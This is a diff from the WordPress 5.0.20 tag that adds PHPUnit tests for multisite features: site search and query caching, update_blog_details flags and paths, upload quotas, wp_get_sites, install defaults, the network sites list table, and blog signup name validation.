+	public function test_wp_site_query_by_search_with_text_in_path_and_domain_order_by_domain_desc() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields'       => 'ids',
+			'search'       => 'make',
+			'order'        => 'DESC',
+			'orderby'      => 'domain',
+		) );
+
+		$expected = array(
+			self::$site_ids['www.w.org/make/'],
+			self::$site_ids['make.wordpress.org/'],
+			self::$site_ids['make.wordpress.org/foo/'],
+		);
+
+		$this->assertEquals( $expected, $found );
+	}
+
+	public function test_wp_site_query_by_search_with_text_in_path_exclude_domain_from_search() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'search' => 'make',
+			'search_columns' => array( 'path' ),
+		) );
+
+		$expected = array(
+			self::$site_ids['www.w.org/make/'],
+		);
+
+		$this->assertEquals( $expected, $found );
+	}
+
+	public function test_wp_site_query_by_search_with_text_in_domain_exclude_path_from_search() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'search' => 'make',
+			'search_columns' => array( 'domain' ),
+		) );
+
+		$expected = array(
+			self::$site_ids['make.wordpress.org/'],
+			self::$site_ids['make.wordpress.org/foo/'],
+		);
+
+		$this->assertEquals( $expected, $found );
+	}
+
+	public function test_wp_site_query_by_search_with_wildcard_in_text() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields'       => 'ids',
+			'search'       => 'm*ke',
+		) );
+
+		$expected = array(
+			self::$site_ids['www.w.org/make/'],
+			self::$site_ids['make.wordpress.org/'],
+			self::$site_ids['make.wordpress.org/foo/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_site_query_by_search_with_wildcard_in_text_exclude_path_from_search() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'search' => 'm*ke',
+			'search_columns' => array( 'domain' ),
+		) );
+
+		$expected = array(
+			self::$site_ids['make.wordpress.org/'],
+			self::$site_ids['make.wordpress.org/foo/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_site_query_by_search_with_wildcard_in_text_exclude_domain_from_search() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'search' => 'm*ke',
+			'search_columns' => array( 'path' ),
+		) );
+
+		$expected = array(
+			self::$site_ids['www.w.org/make/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	/**
+	 * @ticket 41197
+	 */
+	public function test_wp_site_query_cache_with_different_fields_no_count() {
+		global $wpdb;
+		$q                 = new WP_Site_Query();
+		$query_1           = $q->query( array(
+			'fields'     => 'all',
+			'network_id' => self::$network_ids['wordpress.org/'],
+			'number'     => 3,
+			'order'      => 'ASC',
+		) );
+		$number_of_queries = $wpdb->num_queries;
+
+		$query_2 = $q->query( array(
+			'fields'     => 'ids',
+			'network_id' => self::$network_ids['wordpress.org/'],
+			'number'     => 3,
+			'order'      => 'ASC',
+		) );
+
+		$this->assertEquals( $number_of_queries, $wpdb->num_queries );
+	}
+
+	/**
+	 * @ticket 41197
+	 */
+	public function test_wp_site_query_cache_with_different_fields_active_count() {
+		global $wpdb;
+		$q                 = new WP_Site_Query();
+
+		$query_1 = $q->query( array(
+			'fields'     => 'all',
+			'network_id' => self::$network_ids['wordpress.org/'],
+			'number'     => 3,
+			'order'      => 'ASC',
+			'count'      => true,
+		) );
+		$number_of_queries = $wpdb->num_queries;
+
+		$query_2 = $q->query( array(
+			'fields'     => 'ids',
+			'network_id' => self::$network_ids['wordpress.org/'],
+			'number'     => 3,
+			'order'      => 'ASC',
+			'count'      => true,
+		) );
+		$this->assertEquals( $number_of_queries, $wpdb->num_queries );
+	}
+
+	/**
+	 * @ticket 41197
+	 */
+	public function test_wp_site_query_cache_with_same_fields_different_count() {
+		global $wpdb;
+		$q = new WP_Site_Query();
+
+		$query_1 = $q->query( array(
+			'fields'     => 'ids',
+			'network_id' => self::$network_ids['wordpress.org/'],
+			'number'     => 3,
+			'order'      => 'ASC',
+		) );
+
+		$number_of_queries = $wpdb->num_queries;
+
+		$query_2 = $q->query( array(
+			'fields'     => 'ids',
+			'network_id' => self::$network_ids['wordpress.org/'],
+			'number'     => 3,
+			'order'      => 'ASC',
+			'count'      => true,
+		) );
+		$this->assertEquals( $number_of_queries + 1, $wpdb->num_queries );
+	}
+}
+
+endif;
Index: /tags/5.0.20/tests/phpunit/tests/multisite/updateBlogDetails.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/multisite/updateBlogDetails.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/multisite/updateBlogDetails.php	(revision 56912)
@@ -0,0 +1,136 @@
+<?php
+
+if ( is_multisite() ) :
+
+/**
+ * @group ms-site
+ * @group multisite
+ */
+class Tests_Multisite_Update_Blog_Details extends WP_UnitTestCase {
+	/**
+	 * If `update_blog_details()` is called with any kind of empty arguments, it
+	 * should return false.
+	 */
+	function test_update_blog_details_with_empty_args() {
+		$result = update_blog_details( 1, array() );
+		$this->assertFalse( $result );
+	}
+
+	/**
+	 * If the ID passed is not that of a current site, we should expect false.
+	 */
+	function test_update_blog_details_invalid_blog_id() {
+		$result = update_blog_details( 999, array( 'domain' => 'example.com' ) );
+		$this->assertFalse( $result );
+	}
+
+	function test_update_blog_details() {
+		$blog_id = self::factory()->blog->create();
+
+		$result = update_blog_details( $blog_id, array( 'domain' => 'example.com', 'path' => 'my_path/' ) );
+
+		$this->assertTrue( $result );
+
+		$blog = get_site( $blog_id );
+
+		$this->assertEquals( 'example.com', $blog->domain );
+		$this->assertEquals( '/my_path/', $blog->path );
+		$this->assertEquals( '0', $blog->spam );
+	}
+
+	/**
+	 * Test each of the actions that should fire in update_blog_details() depending on
+	 * the flag and flag value being set. Each action should fire once and should not
+	 * fire if a flag is already set for the given flag value.
+	 *
+	 * @param string $flag       The name of the flag being set or unset on a site.
+	 * @param string $flag_value '0' or '1'. The value of the flag being set.
+	 * @param string $action     The hook expected to fire for the flag name and flag combination.
+	 *
+	 * @dataProvider data_flag_hooks
+	 */
+	public function test_update_blog_details_flag_action( $flag, $flag_value, $hook ) {
+		global $test_action_counter;
+		$test_action_counter = 0;
+
+		$blog_id = self::factory()->blog->create();
+
+		// Set an initial value of '1' for the flag when '0' is the flag value being tested.
+		if ( '0' === $flag_value ) {
+			update_blog_details( $blog_id, array( $flag => '1' ) );
+		}
+
+		add_action( $hook, array( $this, '_action_counter_cb' ), 10 );
+
+		update_blog_details( $blog_id, array( $flag => $flag_value ) );
+		$blog = get_site( $blog_id );
+
+		$this->assertEquals( $flag_value, $blog->{$flag} );
+
+		// The hook attached to this flag should have fired once during update_blog_details().
+		$this->assertEquals( 1, $test_action_counter );
+
+		// Update the site to the exact same flag value for this flag.
+		update_blog_details( $blog_id, array( $flag => $flag_value ) );
+
+		// The hook attached to this flag should not have fired again.
+		$this->assertEquals( 1, $test_action_counter );
+
+		remove_action( $hook, array( $this, '_action_counter_cb' ), 10 );
+	}
+
+	public function data_flag_hooks() {
+		return array(
+			array( 'spam',     '0', 'make_ham_blog' ),
+			array( 'spam',     '1', 'make_spam_blog' ),
+			array( 'archived', '1', 'archive_blog' ),
+			array( 'archived', '0', 'unarchive_blog' ),
+			array( 'deleted',  '1', 'make_delete_blog' ),
+			array( 'deleted',  '0', 'make_undelete_blog' ),
+			array( 'mature',   '1', 'mature_blog' ),
+			array( 'mature',   '0', 'unmature_blog' ),
+		);
+	}
+
+	/**
+	 * Provide a counter to determine that hooks are firing when intended.
+	 */
+	function _action_counter_cb() {
+		global $test_action_counter;
+		$test_action_counter++;
+	}
+
+	/**
+	 * When the path for a site is updated with update_blog_details(), the final path
+	 * should have a leading and trailing slash.
+	 *
+	 * @dataProvider data_single_directory_path
+	 */
+	public function test_update_blog_details_single_directory_path( $path, $expected ) {
+		update_blog_details( 1, array( 'path' => $path ) );
+		$site = get_site( 1 );
+
+		$this->assertEquals( $expected, $site->path );
+	}
+
+	public function data_single_directory_path() {
+		return array(
+			array( 'my_path',   '/my_path/' ),
+			array( 'my_path//', '/my_path/' ),
+			array( '//my_path', '/my_path/' ),
+			array( 'my_path/',  '/my_path/' ),
+			array( '/my_path',  '/my_path/' ),
+			array( '/my_path/', '/my_path/' ),
+
+			array( 'multiple/dirs',   '/multiple/dirs/' ),
+			array( '/multiple/dirs',  '/multiple/dirs/' ),
+			array( 'multiple/dirs/',  '/multiple/dirs/' ),
+			array( '/multiple/dirs/', '/multiple/dirs/' ),
+
+			// update_blog_details() does not resolve multiple slashes in the middle of a path string.
+			array( 'multiple///dirs', '/multiple///dirs/' ),
+		);
+	}
+
+}
+endif;
Index: /tags/5.0.20/tests/phpunit/tests/multisite/uploadIsUserOverQuota.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/multisite/uploadIsUserOverQuota.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/multisite/uploadIsUserOverQuota.php	(revision 56912)
@@ -0,0 +1,133 @@
+<?php
+
+if ( is_multisite() ) :
+
+/**
+ * Tests specific to `upload_is_user_over_quota()` in multisite.
+ *
+ * These tests filter `get_space_allowed` and `pre_get_space_used` in
+ * most cases as those are tested elsewhere.
+ *
+ * @group multisite
+ */
+class Tests_Multisite_Upload_Is_User_Over_Quota extends WP_UnitTestCase {
+	protected $suppress = false;
+
+	public function setUp() {
+		global $wpdb;
+		parent::setUp();
+		$this->suppress = $wpdb->suppress_errors();
+
+		update_site_option( 'upload_space_check_disabled', false );
+	}
+
+	public function tearDown() {
+		global $wpdb;
+		$wpdb->suppress_errors( $this->suppress );
+		parent::tearDown();
+	}
+
+	public function test_upload_is_user_over_quota_allowed_0_used_5() {
+		add_filter( 'get_space_allowed', '__return_zero' );
+		add_filter( 'pre_get_space_used', array( $this, '_filter_space_5' ) );
+		$result = upload_is_user_over_quota( false );
+		remove_filter( 'get_space_allowed', '__return_zero' );
+		remove_filter( 'pre_get_space_used', array( $this, '_filter_space_5' ) );
+
+		$this->assertTrue( $result );
+	}
+
+	public function test_upload_is_user_over_quota_allowed_0_used_0() {
+		add_filter( 'get_space_allowed', '__return_zero' );
+		add_filter( 'pre_get_space_used', '__return_zero' );
+		$result = upload_is_user_over_quota( false );
+		remove_filter( 'get_space_allowed', '__return_zero' );
+		remove_filter( 'pre_get_space_used', '__return_zero' );
+
+		$this->assertFalse( $result );
+	}
+
+	public function test_upload_is_user_over_quota_allowed_0_used_100() {
+		add_filter( 'get_space_allowed', '__return_zero' );
+		add_filter( 'pre_get_space_used', array( $this, '_filter_space_100' ) );
+		$result = upload_is_user_over_quota( false );
+		remove_filter( 'get_space_allowed', '__return_zero' );
+		remove_filter( 'pre_get_space_used', array( $this, '_filter_space_100' ) );
+
+		$this->assertTrue( $result );
+	}
+
+	public function test_upload_is_user_over_quota_allowed_100_used_0() {
+		add_filter( 'get_space_allowed', array( $this, '_filter_space_100' ) );
+		add_filter( 'pre_get_space_used', '__return_zero' );
+		$result = upload_is_user_over_quota( false );
+		remove_filter( 'get_space_allowed', array( $this, '_filter_space_100' ) );
+		remove_filter( 'pre_get_space_used', '__return_zero' );
+
+		$this->assertFalse( $result );
+	}
+
+	public function test_upload_is_user_over_quota_allowed_100_used_100() {
+		add_filter( 'get_space_allowed', array( $this, '_filter_space_100' ) );
+		add_filter( 'pre_get_space_used', array( $this, '_filter_space_100' ) );
+		$result = upload_is_user_over_quota( false );
+		remove_filter( 'get_space_allowed', array( $this, '_filter_space_100' ) );
+		remove_filter( 'pre_get_space_used', array( $this, '_filter_space_100' ) );
+
+		$this->assertFalse( $result );
+	}
+
+	public function test_upload_is_user_over_quota_allowed_100_used_200() {
+		add_filter( 'get_space_allowed', array( $this, '_filter_space_100' ) );
+		add_filter( 'pre_get_space_used', array( $this, '_filter_space_200' ) );
+		$result = upload_is_user_over_quota( false );
+		remove_filter( 'get_space_allowed', array( $this, '_filter_space_100' ) );
+		remove_filter( 'pre_get_space_used', array( $this, '_filter_space_200' ) );
+
+		$this->assertTrue( $result );
+	}
+
+	public function test_upload_is_user_over_quota_allowed_negative_used_100() {
+		add_filter( 'get_space_allowed', array( $this, '_filter_space_negative' ) );
+		add_filter( 'pre_get_space_used', array( $this, '_filter_space_100' ) );
+		$result = upload_is_user_over_quota( false );
+		remove_filter( 'get_space_allowed', array( $this, '_filter_space_negative' ) );
+		remove_filter( 'pre_get_space_used', array( $this, '_filter_space_100' ) );
+
+		$this->assertTrue( $result );
+	}
+
+	/**
+	 * When the upload space check is disabled, using more than the available
+	 * quota is allowed.
+	 */
+	public function test_upload_is_user_over_check_disabled() {
+		update_site_option( 'upload_space_check_disabled', true );
+
+		add_filter( 'get_space_allowed', array( $this, '_filter_space_100' ) );
+		add_filter( 'pre_get_space_used', array( $this, '_filter_space_200' ) );
+		$result = upload_is_user_over_quota( false );
+		remove_filter( 'get_space_allowed', array( $this, '_filter_space_100' ) );
+		remove_filter( 'pre_get_space_used', array( $this, '_filter_space_200' ) );
+
+		$this->assertFalse( $result );
+	}
+
+	public function _filter_space_5() {
+		return 5;
+	}
+
+	public function _filter_space_100() {
+		return 100;
+	}
+
+	public function _filter_space_200() {
+		return 200;
+	}
+
+	public function _filter_space_negative() {
+		return -1;
+	}
+}
+
+endif;
Index: /tags/5.0.20/tests/phpunit/tests/multisite/wpGetSites.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/multisite/wpGetSites.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/multisite/wpGetSites.php	(revision 56912)
@@ -0,0 +1,95 @@
+<?php
+
+if ( is_multisite() ) :
+
+/**
+ * @group wp-get-site
+ * @group ms-site
+ * @group multisite
+ */
+class Tests_Multisite_WP_Get_Sites extends WP_UnitTestCase {
+	protected static $site_ids;
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$site_ids = array(
+			'w.org/'      => array( 'domain' => 'w.org',  'path' => '/',     'site_id' => 2 ),
+			'wp.org/'     => array( 'domain' => 'wp.org', 'path' => '/',     'site_id' => 2, 'meta' => array( 'public' => 0 ) ),
+			'wp.org/foo/' => array( 'domain' => 'wp.org', 'path' => '/foo/', 'site_id' => 1, 'meta' => array( 'public' => 0 ) ),
+			'wp.org/oof/' => array( 'domain' => 'wp.org', 'path' => '/oof/' ),
+		);
+
+		foreach ( self::$site_ids as &$id ) {
+			$id = $factory->blog->create( $id );
+		}
+		unset( $id );
+	}
+
+	public static function wpTearDownAfterClass() {
+		foreach( self::$site_ids as $id ) {
+			wpmu_delete_blog( $id, true );
+		}
+
+		wp_update_network_site_counts();
+	}
+
+	/**
+	 * @expectedDeprecated wp_get_sites
+	 */
+	public function test_wp_get_sites_site_is_expected_array() {
+
+		$keys = array(
+			'blog_id',
+			'site_id',
+			'domain',
+			'path',
+			'registered',
+			'last_updated',
+			'public',
+			'archived',
+			'mature',
+			'spam',
+			'deleted',
+			'lang_id'
+		);
+		$sites = wp_get_sites();
+
+		$missing_keys = array_diff_key( array_flip( $keys ), $sites[0] );
+
+		$this->assertEquals( array(), $missing_keys, 'Keys are missing from site arrays.' );
+	}
+
+	/**
+	 * @expectedDeprecated wp_get_sites
+	 * @dataProvider data_wp_get_sites
+	 *
+	 * @param $expected
+	 * @param $args
+	 * @param $error
+	 */
+	public function test_wp_get_sites( $expected, $args, $error ) {
+		$this->assertCount( $expected, wp_get_sites( $args ), $error );
+	}
+
+	/**
+	 * @return array
+	 */
+	public function data_wp_get_sites() {
+		return array(
+			array( 3, array(), 'Default arguments should return all sites from the current network.' ),
+			array( 0, array( 'network_id' => 999 ), 'No sites should match a query with an invalid network ID.' ),
+			array( 5, array( 'network_id' => null ), 'A network ID of null should return all sites on all networks.' ),
+			array( 2, array( 'network_id' => 2 ), 'Only sites on a specified network ID should be returned.' ),
+			array( 5, array( 'network_id' => array( 1, 2 ) ), 'If multiple network IDs are specified, sites from both should be returned.' ),
+			array( 3, array( 'public' => 1, 'network_id' => null ), 'Public sites on all networks.' ),
+			array( 2, array( 'public' => 0, 'network_id' => null ), 'Non public sites on all networks.' ),
+			array( 2, array( 'public' => 1, 'network_id' => 1 ), 'Public sites on a single network.' ),
+			array( 1, array( 'public' => 1, 'network_id' => 2 ), 'Public sites on a second network.' ),
+			array( 2, array( 'limit' => 2 ), 'Provide only a limit argument.' ),
+			array( 1, array( 'limit' => 2, 'offset' => 2 ), 'Provide both limit and offset arguments.' ),
+			array( 2, array( 'offset' => 1 ), 'Provide only an offset argument.' ),
+			array( 0, array( 'offset' => 20 ), 'Expect 0 sites when using an offset larger than the total number of sites.' ),
+		);
+	}
+}
+
+endif;
Index: /tags/5.0.20/tests/phpunit/tests/multisite/wpInstallDefaults.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/multisite/wpInstallDefaults.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/multisite/wpInstallDefaults.php	(revision 56912)
@@ -0,0 +1,81 @@
+<?php
+
+if ( is_multisite() ) :
+/**
+ * Saving network settings without altering starter content ( first page, post, and comment ) shouldn't affect
+ * the way it is added to new sites.
+ *
+ * @group ms-site
+ * @group multisite
+ */
+class Tests_Multisite_Install_Defaults extends WP_UnitTestCase {
+	/**
+	 * @ticket 40036
+	 */
+	public function test_option_should_not_be_empty_by_default() {
+		$blog_id = $this->factory->blog->create();
+
+		switch_to_blog( $blog_id );
+
+		$first_page = get_page_by_path( '/sample-page' );
+		$first_comment = get_comments();
+
+		restore_current_blog();
+		wpmu_delete_blog( $blog_id, true );
+
+		$this->assertNotEmpty( $first_page->post_content );
+		$this->assertNotEmpty( $first_comment[0]->comment_content );
+	}
+
+	/**
+	 * @ticket 40036
+	 */
+	public function test_empty_option_should_fall_back_to_default() {
+		/*
+		 * Update first_page / first_comment options,
+		 * just like what happens when the network settings page is saved
+		 */
+		update_site_option( 'first_page', '' );
+		update_site_option( 'first_comment', '' );
+
+		$blog_id = $this->factory->blog->create();
+
+		switch_to_blog( $blog_id );
+
+		$first_page = get_page_by_path( '/sample-page' );
+		$first_comment = get_comments();
+
+		restore_current_blog();
+		wpmu_delete_blog( $blog_id, true );
+
+		$this->assertNotEmpty( $first_page->post_content );
+		$this->assertNotEmpty( $first_comment[0]->comment_content );
+	}
+
+	/**
+	 * @ticket 40036
+	 */
+	public function test_non_default_option_values() {
+		/*
+		 * Update first_page / first_comment options,
+		 * just like what happens when the network settings page is saved
+		 */
+		update_site_option( 'first_page', 'Some page content' );
+		update_site_option( 'first_comment', 'Some comment content' );
+
+		$blog_id = $this->factory->blog->create();
+
+		switch_to_blog( $blog_id );
+
+		$first_page = get_page_by_path( '/sample-page' );
+		$first_comment = get_comments();
+
+		restore_current_blog();
+		wpmu_delete_blog( $blog_id, true );
+
+		$this->assertEquals( 'Some page content', $first_page->post_content );
+		$this->assertEquals( 'Some comment content', $first_comment[0]->comment_content );
+	}
+}
+
+endif;
Index: /tags/5.0.20/tests/phpunit/tests/multisite/wpMSSitesListTable.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/multisite/wpMSSitesListTable.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/multisite/wpMSSitesListTable.php	(revision 56912)
@@ -0,0 +1,195 @@
+<?php
+
+if ( is_multisite() ) :
+
+/**
+ * @group admin
+ * @group network-admin
+ */
+class Tests_WP_MS_Sites_List_Table extends WP_UnitTestCase {
+	protected static $site_ids;
+
+	/**
+	 * @var WP_MS_Sites_List_Table
+	 */
+	var $table = false;
+
+	function setUp() {
+		parent::setUp();
+		$this->table = _get_list_table( 'WP_MS_Sites_List_Table', array( 'screen' => 'ms-sites' ) );
+	}
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$site_ids = array(
+			'wordpress.org/'              => array( 'domain' => 'wordpress.org',      'path' => '/' ),
+			'wordpress.org/foo/'          => array( 'domain' => 'wordpress.org',      'path' => '/foo/' ),
+			'wordpress.org/foo/bar/'      => array( 'domain' => 'wordpress.org',      'path' => '/foo/bar/' ),
+			'wordpress.org/afoo/'         => array( 'domain' => 'wordpress.org',      'path' => '/afoo/' ),
+			'make.wordpress.org/'         => array( 'domain' => 'make.wordpress.org', 'path' => '/' ),
+			'make.wordpress.org/foo/'     => array( 'domain' => 'make.wordpress.org', 'path' => '/foo/' ),
+			'www.w.org/'                  => array( 'domain' => 'www.w.org',          'path' => '/' ),
+			'www.w.org/foo/'              => array( 'domain' => 'www.w.org',          'path' => '/foo/' ),
+			'www.w.org/foo/bar/'          => array( 'domain' => 'www.w.org',          'path' => '/foo/bar/' ),
+			'test.example.org/'           => array( 'domain' => 'test.example.org',   'path' => '/' ),
+			'test2.example.org/'          => array( 'domain' => 'test2.example.org',  'path' => '/' ),
+			'test3.example.org/zig/'      => array( 'domain' => 'test3.example.org',  'path' => '/zig/' ),
+			'atest.example.org/'          => array( 'domain' => 'atest.example.org',  'path' => '/' ),
+		);
+
+		foreach ( self::$site_ids as &$id ) {
+			$id = $factory->blog->create( $id );
+		}
+		unset( $id );
+	}
+
+	public static function wpTearDownAfterClass() {
+		foreach ( self::$site_ids as $site_id ) {
+			wpmu_delete_blog( $site_id, true );
+		}
+	}
+
+	public function test_ms_sites_list_table_default_items() {
+		$this->table->prepare_items();
+
+		$items = wp_list_pluck( $this->table->items, 'blog_id' );
+		$items = array_map( 'intval', $items );
+
+		$this->assertEqualSets( array( 1 ) + self::$site_ids, $items );
+	}
+
+	public function test_ms_sites_list_table_subdirectory_path_search_items() {
+		if ( is_subdomain_install() ) {
+			$this->markTestSkipped( 'Path search is not available for subdomain configurations.' );
+		}
+
+		$_REQUEST['s'] = 'foo';
+
+		$this->table->prepare_items();
+
+		$items = wp_list_pluck( $this->table->items, 'blog_id' );
+		$items = array_map( 'intval', $items );
+
+		unset( $_REQUEST['s'] );
+
+		$expected = array(
+			self::$site_ids['wordpress.org/foo/'],
+			self::$site_ids['wordpress.org/foo/bar/'],
+			self::$site_ids['wordpress.org/afoo/'],
+			self::$site_ids['make.wordpress.org/foo/'],
+			self::$site_ids['www.w.org/foo/'],
+			self::$site_ids['www.w.org/foo/bar/'],
+		);
+
+		$this->assertEqualSets( $expected, $items );
+	}
+
+	public function test_ms_sites_list_table_subdirectory_multiple_path_search_items() {
+		if ( is_subdomain_install() ) {
+			$this->markTestSkipped( 'Path search is not available for subdomain configurations.' );
+		}
+
+		$_REQUEST['s'] = 'foo/bar';
+
+		$this->table->prepare_items();
+
+		$items = wp_list_pluck( $this->table->items, 'blog_id' );
+		$items = array_map( 'intval', $items );
+
+		unset( $_REQUEST['s'] );
+
+		$expected = array(
+			self::$site_ids['wordpress.org/foo/bar/'],
+			self::$site_ids['www.w.org/foo/bar/'],
+		);
+
+		$this->assertEqualSets( $expected, $items );
+	}
+
+	public function test_ms_sites_list_table_invalid_path_search_items() {
+		$_REQUEST['s'] = 'foobar';
+
+		$this->table->prepare_items();
+
+		$items = wp_list_pluck( $this->table->items, 'blog_id' );
+		$items = array_map( 'intval', $items );
+
+		unset( $_REQUEST['s'] );
+
+		$this->assertEmpty( $items );
+	}
+
+	public function test_ms_sites_list_table_subdomain_domain_search_items() {
+		if ( ! is_subdomain_install() ) {
+			$this->markTestSkipped( 'Domain search is not available for subdirectory configurations.' );
+		}
+
+		$_REQUEST['s'] = 'test';
+
+		$this->table->prepare_items();
+
+		$items = wp_list_pluck( $this->table->items, 'blog_id' );
+		$items = array_map( 'intval', $items );
+
+		unset( $_REQUEST['s'] );
+
+		$expected = array(
+			self::$site_ids['test.example.org/'],
+			self::$site_ids['test2.example.org/'],
+			self::$site_ids['test3.example.org/zig/'],
+			self::$site_ids['atest.example.org/'],
+		);
+
+		$this->assertEqualSets( $expected, $items );
+	}
+
+	public function test_ms_sites_list_table_subdomain_domain_search_items_with_trailing_wildcard() {
+		if ( ! is_subdomain_install() ) {
+			$this->markTestSkipped( 'Domain search is not available for subdirectory configurations.' );
+		}
+
+		$_REQUEST['s'] = 'test*';
+
+		$this->table->prepare_items();
+
+		$items = wp_list_pluck( $this->table->items, 'blog_id' );
+		$items = array_map( 'intval', $items );
+
+		unset( $_REQUEST['s'] );
+
+		$expected = array(
+			self::$site_ids['test.example.org/'],
+			self::$site_ids['test2.example.org/'],
+			self::$site_ids['test3.example.org/zig/'],
+			self::$site_ids['atest.example.org/'],
+		);
+
+		$this->assertEqualSets( $expected, $items );
+	}
+
+	public function test_ms_sites_list_table_subdirectory_path_search_items_with_trailing_wildcard() {
+		if ( is_subdomain_install() ) {
+			$this->markTestSkipped( 'Path search is not available for subdomain configurations.' );
+		}
+
+		$_REQUEST['s'] = 'fo*';
+
+		$this->table->prepare_items();
+
+		$items = wp_list_pluck( $this->table->items, 'blog_id' );
+		$items = array_map( 'intval', $items );
+
+		unset( $_REQUEST['s'] );
+
+		$expected = array(
+			self::$site_ids['wordpress.org/foo/'],
+			self::$site_ids['wordpress.org/foo/bar/'],
+			self::$site_ids['wordpress.org/afoo/'],
+			self::$site_ids['make.wordpress.org/foo/'],
+			self::$site_ids['www.w.org/foo/'],
+			self::$site_ids['www.w.org/foo/bar/'],
+		);
+
+		$this->assertEqualSets( $expected, $items );
+	}
+}
+endif;
Index: /tags/5.0.20/tests/phpunit/tests/multisite/wpmuValidateBlogSignup.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/multisite/wpmuValidateBlogSignup.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/multisite/wpmuValidateBlogSignup.php	(revision 56912)
@@ -0,0 +1,129 @@
+<?php
+
+if ( is_multisite() ) :
+
+/**
+ * @group multisite
+ */
+class Tests_Multisite_WpmuValidateBlogSignup extends WP_UnitTestCase {
+	protected static $super_admin_id;
+
+	protected static $existing_user_login = 'existinguserfoo';
+	protected static $existing_user_id;
+
+	protected static $existing_blog_name = 'existingsitefoo';
+	protected static $existing_blog_id;
+
+	protected $minimum_site_name_length = 4;
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$super_admin_id = $factory->user->create();
+		grant_super_admin( self::$super_admin_id );
+
+		self::$existing_user_id = $factory->user->create( array( 'user_login' => self::$existing_user_login ) );
+
+		$network = get_network();
+
+		if ( is_subdomain_install() ) {
+			$domain = self::$existing_blog_name . '.' . preg_replace( '|^www\.|', '', $network->domain );
+			$path   = $network->path;
+		} else {
+			$domain = $network->domain;
+			$path   = $network->path . self::$existing_blog_name . '/';
+		}
+
+		self::$existing_blog_id = $factory->blog->create( array(
+			'domain'  => $domain,
+			'path'    => $path,
+			'site_id' => $network->id,
+		) );
+	}
+
+	public static function wpTearDownAfterClass() {
+		revoke_super_admin( self::$super_admin_id );
+		wpmu_delete_user( self::$super_admin_id );
+
+		wpmu_delete_user( self::$existing_user_id );
+
+		wpmu_delete_blog( self::$existing_blog_id, true );
+	}
+
+	/**
+	 * @dataProvider data_validate_blogname
+	 */
+	public function test_validate_blogname( $blog_name, $error_message ) {
+		$result = wpmu_validate_blog_signup( $blog_name, 'Foo Site Title', get_userdata( self::$super_admin_id ) );
+		$this->assertContains( 'blogname', $result['errors']->get_error_codes(), $error_message );
+	}
+
+	public function data_validate_blogname() {
+		$data = array(
+			array( '', 'Site names must not be empty.' ),
+			array( 'foo-hello', 'Site names must not contain hyphens.' ),
+			array( 'foo_hello', 'Site names must not contain underscores.' ),
+			array( 'foo hello', 'Site names must not contain spaces.' ),
+			array( 'FooHello', 'Site names must not contain uppercase letters.' ),
+			array( '12345678', 'Site names must not consist of numbers only.' ),
+			array( self::$existing_blog_name, 'Site names must not collide with an existing site name.' ),
+			array( self::$existing_user_login, 'Site names must not collide with an existing user login.' ),
+			array( 'foo', 'Site names must at least contain 4 characters.' ),
+		);
+
+		$illegal_names = get_site_option( 'illegal_names' );
+		if ( ! empty( $illegal_names ) ) {
+			$data[] = array( array_shift( $illegal_names ), 'Illegal site names are not allowed.' );
+		} else {
+			$data[] = array( 'www', 'Illegal site names are not allowed.' );
+		}
+
+		return $data;
+	}
+
+	public function test_validate_empty_blog_title() {
+		$result = wpmu_validate_blog_signup( 'uniqueblogname1234', '', get_userdata( self::$super_admin_id ) );
+		$this->assertContains( 'blog_title', $result['errors']->get_error_codes(), 'Site titles must not be empty.' );
+	}
+
+	public function test_validate_blogname_from_same_existing_user() {
+		$result = wpmu_validate_blog_signup( self::$existing_user_login, 'Foo Site Title', get_userdata( self::$existing_user_id ) );
+		$this->assertEmpty( $result['errors']->get_error_codes() );
+	}
+
+	/**
+	 * @ticket 39676
+	 *
+	 * @dataProvider data_filter_minimum_site_name_length
+	 */
+	public function test_filter_minimum_site_name_length( $site_name, $minimum_length, $expect_error ) {
+		$this->minimum_site_name_length = $minimum_length;
+		add_filter( 'minimum_site_name_length', array( $this, 'filter_minimum_site_name_length' ) );
+
+		$result = wpmu_validate_blog_signup( $site_name, 'Site Title', get_userdata( self::$super_admin_id ) );
+
+		remove_filter( 'minimum_site_name_length', array( $this, 'filter_minimum_site_name_length' ) );
+		$this->minimum_site_name_length = 4;
+
+		if ( $expect_error ) {
+			$this->assertContains( 'blogname', $result['errors']->get_error_codes() );
+		} else {
+			$this->assertEmpty( $result['errors']->get_error_codes() );
+		}
+	}
+
+	public function data_filter_minimum_site_name_length() {
+		return array(
+			array( 'fooo', 5, true ),
+			array( 'foooo', 5, false ),
+			array( 'foo', 4, true ),
+			array( 'fooo', 4, false ),
+			array( 'fo', 3, true ),
+			array( 'foo', 3, false ),
+		);
+	}
+
+	public function filter_minimum_site_name_length() {
+		return $this->minimum_site_name_length;
+	}
+}
+
+endif;
Index: /tags/5.0.20/tests/phpunit/tests/multisite/wpmuValidateUserSignup.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/multisite/wpmuValidateUserSignup.php	(revision 56912)
